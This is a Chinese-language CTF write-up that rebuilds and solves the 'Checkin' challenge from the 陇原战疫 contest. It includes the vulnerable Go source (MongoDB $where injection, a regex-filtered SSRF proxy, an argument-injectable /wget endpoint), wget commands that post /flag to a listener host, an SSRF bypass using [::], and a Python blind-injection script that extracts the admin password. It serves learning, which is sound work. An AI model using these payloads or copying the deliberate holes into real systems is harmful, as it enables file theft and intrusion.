[陇原战疫]-Checkin完全复现

[陇原战疫]-Checkin完全复现

  • 一,前言
    • 1主要原因
    • 2我的坚持
  • 二,题目描述
    • 1文件结构
    • 2 main.go源代码
  • 三,考点
  • 四,环境复现过程
    • 1环境变量设置
      • (1)概述
      • (2)修改
      • (3)测试
    • 2连接数据库
    • 3 sessinit
    • 4复现后的main.go
    • 5 服务器复现
  • 五,playload复现
    • 1本地复现
      • (1)直接使用wget
        • 说明
        • 复现
      • (2)使用proxy进行ssrf
        • 说明
        • 复现
      • (3)mongodb注入
        • 前辈的经验
        • 前辈的脚本
    • 2环境复现的瑕疵
  • 六,总结

一,前言

这是一场2021年11月7日的比赛,对于CTFers来说应该是过期的赛事了,那么为什么我要选择复现这样一道题?

1主要原因

比较有纪念意义,这是我第一次意识到自己“遇见了一道go语言题型”。

2我的坚持

在长达3个月的学习历程中,我有很多想要说的话,但千言万语总归化作一句——“程序设计总比黑盒测试更容易使我感到快乐”。
当然,也可能纯粹就是我太菜了,所以黑盒给我带来的感觉较少。。。。。

二,题目描述

1文件结构

以下为原题文件结构
[陇原战疫]-Checkin完全复现_第1张图片

2 main.go源代码

原始的source.zip放到我的github上了

三,考点

1mongodb注入
2ssrf
3wget

四,环境复现过程

1环境变量设置

(1)概述

原password判断逻辑是获取“ADMIN_PASS”环境变量,而一般的golang和mongodb都不会去特意export这个环境变量,个人猜测是出题者为了不在源码中泄漏password,特意将密码隐藏到环境变量中了。
[陇原战疫]-Checkin完全复现_第2张图片

(2)修改

[陇原战疫]-Checkin完全复现_第3张图片
source /etc/profile
添加export ADMIN_PASS=admin

(3)测试

expe.go
[陇原战疫]-Checkin完全复现_第4张图片在这里插入图片描述

2连接数据库

本地数据库存在用户权限,在源代码中添加登录代码。

//添加内容,本地数据库设置了管理帐号
    myDB := conn.DB("admin")
    err = myDB.Login("root", "123456")
    if err != nil {
        fmt.Pri

[陇原战疫]-Checkin完全复现_第5张图片

3 sessinit

忽略sess_init.so引用文件,更改加密秘钥。
猜测sess_init.so的原文件是个gin-sessions的通用文件,但在该代码中似乎只调用了个秘钥?出题人也太随意了吧。
[陇原战疫]-Checkin完全复现_第6张图片

4复现后的main.go

package main

import (
    "fmt"
    "io"
    "time"
    "bytes"
    "regexp"
    "os"
    "os/exec"
    _ "plugin"
    "gopkg.in/mgo.v2"
    "gopkg.in/mgo.v2/bson"
    "github.com/gin-contrib/sessions"
    "github.com/gin-gonic/gin"
    "github.com/gin-contrib/sessions/cookie"
    "github.com/gin-contrib/multitemplate"
    "net/http"
)


type Url struct {
    Url string `json:"url" binding:"required"`
}

type User struct {
    Username string
    Password string
}

const MOGODB_URI = "127.0.0.1:27017"


func MiddleWare() gin.HandlerFunc {
    return func(c *gin.Context) {
        session := sessions.Default(c)
//原password判断是获取“ADMIN_PASS”环境变量,而一般的golang和mongodb都不会去特意export这个环境变量。
//个人猜测出题者为了不在源码中泄漏password,特意将密码隐藏到环境变量中了。
        if session.Get("username") == nil || session.Get("password") != os.Getenv("ADMIN_PASS") {
            c.Header("Content-Type", "text/html; charset=utf-8")
            c.String(200, "")
            return
        }

        c.Next()
    }
}


func loginController(c *gin.Context) {

    session := sessions.Default(c)
    if session.Get("username") != nil {
        c.Redirect(http.StatusFound, "/home")
        return
    }
    
    username := c.PostForm("username")
    password := c.PostForm("password")

    if username == "" || password == "" {
        c.Header("Content-Type", "text/html; charset=utf-8")
        c.String(200, "")
        return
    }

    conn, err := mgo.Dial(MOGODB_URI)
    if err != nil {
        panic(err)
    }
//添加内容,本地数据库设置了管理帐号
    myDB := conn.DB("admin")
    err = myDB.Login("root", "123456")
    if err != nil {
        fmt.Println("Login-error:", err)
    }
//
    defer conn.Close()
    conn.SetMode(mgo.Monotonic, true)

    db_table := conn.DB("ctf").C("users")
    result := User{}
    err = db_table.Find(bson.M{"$where":"function() {if(this.username == '"+username+"' && this.password == '"+password+"') {return true;}}"}).One(&result)

    if result.Username == "" {
        c.Header("Content-Type", "text/html; charset=utf-8")
        c.String(200, "")
        return
    }

    if username == result.Username || password == result.Password {
        session.Set("username", username)
        session.Set("password", password)
        session.Save()
        c.Redirect(http.StatusFound, "/home")
        return
    } else {
        c.Header("Content-Type", "text/html; charset=utf-8")
        c.String(200, "")
        return
    }
}



func proxyController(c *gin.Context) {
    
    var url Url
    if err := c.ShouldBindJSON(&url); err != nil {
        c.JSON(500, gin.H{"msg": err})
        return
    }
    
    re := regexp.MustCompile("127.0.0.1|0.0.0.0|06433|0x|0177|localhost|ffff")
    if re.MatchString(url.Url) {
        c.JSON(403, gin.H{"msg": "Url Forbidden"})
        return
    }
    
    client := &http.Client{Timeout: 2 * time.Second}

    resp, err := client.Get(url.Url)
    if err != nil {
        c.JSON(http.StatusInternalServerError, gin.H{"error": err.Error()})
        return
    }
    defer resp.Body.Close()
    var buffer [512]byte
    result := bytes.NewBuffer(nil)
    for {
        n, err := resp.Body.Read(buffer[0:])
        result.Write(buffer[0:n])
        if err != nil && err == io.EOF {

            break
        } else if err != nil {
            c.JSON(http.StatusInternalServerError, gin.H{"error": err.Error()})
            return
        }
    }
    c.JSON(http.StatusOK, gin.H{"data": result.String()})
}



func getController(c *gin.Context) {



    cmd := exec.Command("/bin/wget", c.QueryArray("argv")[1:]...)
    err := cmd.Run()
    if err != nil {
        fmt.Println("error: ", err)
    }
    
    c.String(http.StatusOK, "Nothing")
}




func createMyRender() multitemplate.Renderer {
    r := multitemplate.NewRenderer()
    r.AddFromFiles("login", "templates/layouts/base.tmpl", "templates/layouts/login.tmpl")
    r.AddFromFiles("home", "templates/layouts/home.tmpl", "templates/layouts/home.tmpl")
    return r
}


func main() {
    router := gin.Default()
    router.Static("/static", "./static")
/*这段代码是用来生成session加密密钥的,而且sess_init.so之前的sess_init.go文件源码没有给,这里就简化一下。
    p, err := plugin.Open("sess_init.so")
    if err != nil {
        panic(err)
    }

    f, err := p.Lookup("Sessinit")
    if err != nil {
        panic(err)
    }

    key := f.(func() string)()
*/
    storage := cookie.NewStore([]byte("daydream"))
    router.Use(sessions.Sessions("mysession", storage))
    router.HTMLRender = createMyRender()
    router.MaxMultipartMemory = 8 << 20

    router.GET("/", func(c *gin.Context) {
        session := sessions.Default(c)
        if session.Get("username") != nil {
            c.Redirect(http.StatusFound, "/home")  
            return
        } else {
            c.Redirect(http.StatusFound, "/login")  
            return
        }
    })

    router.GET("/login", func(c *gin.Context) {
        session := sessions.Default(c)
        if session.Get("username") != nil {
            c.Redirect(http.StatusFound, "/home")  
            return
        }
        c.HTML(200, "login", gin.H{
            "title": "CheckIn",
        })
    })

    router.GET("/home", MiddleWare(), func(c *gin.Context) {
        c.HTML(200, "home", gin.H{
            "title": "CheckIn",
        })
    })

    router.POST("/proxy", MiddleWare(), proxyController)
    router.GET("/wget", getController)
    router.POST("/login", loginController)

    _ = router.Run("0.0.0.0:8080") // listen and serve on 0.0.0.0:8080
}

5 服务器复现

基本调试都是没什么差别的,就是报了一个错:

#command-line-arguments /usr/local/go/pkg/tool/linux_amd64/link: running gcc failed: exec: “gcc”: executable file not found in $PATH

apt install gcc
即可解决
参考:
ubuntu安装gcc
exec: “gcc”: executable file not found in %PATH%

五,playload复现

1本地复现

注意:本地复现中,虽然靶机的ip和监听ip相同,但还原的场景如下图
[陇原战疫]-Checkin完全复现_第7张图片

(1)直接使用wget

说明

有关wget命令注入的方式不多赘述,这里详细解析一下main.go内的代码执行部分,即getController函数
[陇原战疫]-Checkin完全复现_第8张图片"…"是exec包Command命令中数组传参的标准格式,无实际意义。
”/bin/wget“和“/bin/sh”一样理解即可
这里的QueryArray是gin框架中接收一组请求的方法。
因此在传参的过程中,数组内元素个数没有限制,只需要知道数组内的元素会拼接到一起跟在wget后面执行即可。
【注意】根据代码,QueryArray是从第二个元素开始拼接命令的。

复现

最终被解析的playload:wget --post-file /flag http://x.x.x.x:7777
[陇原战疫]-Checkin完全复现_第9张图片 数据包内容如下

GET
/wget?argv=1&argv=–post-file&argv=/flag&argv=http://192.168.159.129:7777/
HTTP/1.1 Host: 192.168.159.129:8080 User-Agent: Mozilla/5.0 (Windows
NT 10.0; Win64; x64; rv:96.0) Gecko/20100101 Firefox/96.0 Accept:
text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,/;q=0.8
Accept-Language:
zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate Connection: close Cookie:
mysession=MTY0MzIzMzM4N3xEdi1CQkFFQ180SUFBUkFCRUFBQVN2LUNBQUlHYzNSeWFXNW5EQW9BQ0hWelpYSnVZVzFsQm5OMGNtbHVad3dIQUFWaFpHMXBiZ1p6ZEhKcGJtY01DZ0FJY0dGemMzZHZjbVFHYzNSeWFXNW5EQWNBQldGa2JXbHV8HgwEldRHmgm_8Cs4kf2xAcNn_ZIxtOBMV2E_S2cvYoQ=
Upgrade-Insecure-Requests: 1

(2)使用proxy进行ssrf

说明

看大佬的方法学到一种ssrf的姿势“[::]”。
构造data包{“url”:"[::]:8080/wget"}
wget利用方法就和该方式原理相同,参数不同,即–body-file同样可以发送文件,但是要指定方法。
这里吐槽一下官方wp,红圈中的那一段argv为任意值都可以(原理上文解释了),这里偏偏跟了这么一长串东东,你品,你细品。
在这里插入图片描述

复现

最终被解析的playload:wget --method=POST --body-file=/flag http://x.x.x.x:7777
这里使用(1)中的pl依旧可以。
在这里插入图片描述数据包内容如下

POST /proxy HTTP/1.1 Host: 192.168.159.129:8080 User-Agent:
Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:96.0) Gecko/20100101
Firefox/96.0 Accept:
text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,/;q=0.8
Accept-Language:
zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate Connection: close Content-Type:
application/json Upgrade-Insecure-Requests: 1 Content-Length: 113

{“url”:“http://[::]:8080/wget?argv=1&argv=–method=POST&argv=–body-file=/flag&argv=http://192.168.159.129:7777”}

(3)mongodb注入

前辈的经验

$where游标后使用了js语句(其后的function即为js语句),这里的this.username为库中集合的username(文档中的key之一)。
抓包后data值中两个参数username,password,构造data

//万能密码方式尝试,
username=admin'){return true;}})// &password=123

[陇原战疫]-Checkin完全复现_第10张图片此时显示Pretend you logged in successfully,查看代码,因为输入的username与result.username不一致因此显示登陆成功但不会跳转。
换个思路:既然检查username那就试试password绕过

//绕过password
username=admin & password=1'||1==1){return true;}})//

[陇原战疫]-Checkin完全复现_第11张图片此时显示You are not admin!,查看代码,因为输入的password放入了session中,然后同环境变量中隐藏的ADMIN_PASS进行对比,username非空,密码又未知,这样一来绕password也不可取。
那么可以尝试通过回显的successed来进行猜解密码(布尔盲注)

前辈的脚本

根据"wrietup前辈"的指导,我很快的“写”出了脚本。

import requests

url = " http://192.168.159.129:8080/login"

headers = {
    "Content-Type": "application/x-www-form-urlencoded"
}

strings = "1234567890abcdefghijklmnopqrstuvwxyz"

res = ""
for i in range(len(res) + 1, 40):
    if len(res) == i - 1:
        for c in strings:
            data = {
                # 注意这个substr用的是-号,是反向读取密码的,反向逐个读取密码,然后对比
                "username": "admin'&&this.password.substr(-" + str(i) + ")=='" + str(c + res) + "') {return true;}})//",
                "password": "123456"
            }
            r = requests.post(url=url, headers=headers, data=data)
            if "Pretend" in r.text:
                res = c + res
                print("[+] " + res)
                break
    else:
        print("[-] Failed")
        break

run一下,就解决问题,但凡懂点js,注入语句都是秒懂,这个注入就是直接闭合sql语句,然后执行后面衔接的js代码。
(备注:原题的密码为”54a83850073b0f4c6862d5a1d48ea84f“,下图展示的为复现环境设置的密码)
[陇原战疫]-Checkin完全复现_第12张图片

2环境复现的瑕疵

因为代码没有写session销毁或更新的逻辑,所以在password处注入测试的时候 如果password同ADMIN_PASS验证不符,就会出现在/home页面不断弹下图的bug。
[陇原战疫]-Checkin完全复现_第13张图片但是并不影响做题,不是吗?
如果你遇到了,清空session重新访问"/"就可以了。

六,总结

每次写完博客都喜欢总结一下,好,本次复现到此为止,谢谢大家的捧场。。。。开个玩笑,其实本次复现以为着我的golang学习正式的靠一段落了。虽然学习不会停止,但是我还有其他的内容需要去学习,go系列就先写这么两篇吧。
新年也即将到来,最后在此祝大家新年快乐,感谢你们一直以来对我的支持。

你可能感兴趣的:(原理实验,go语言,mongodb)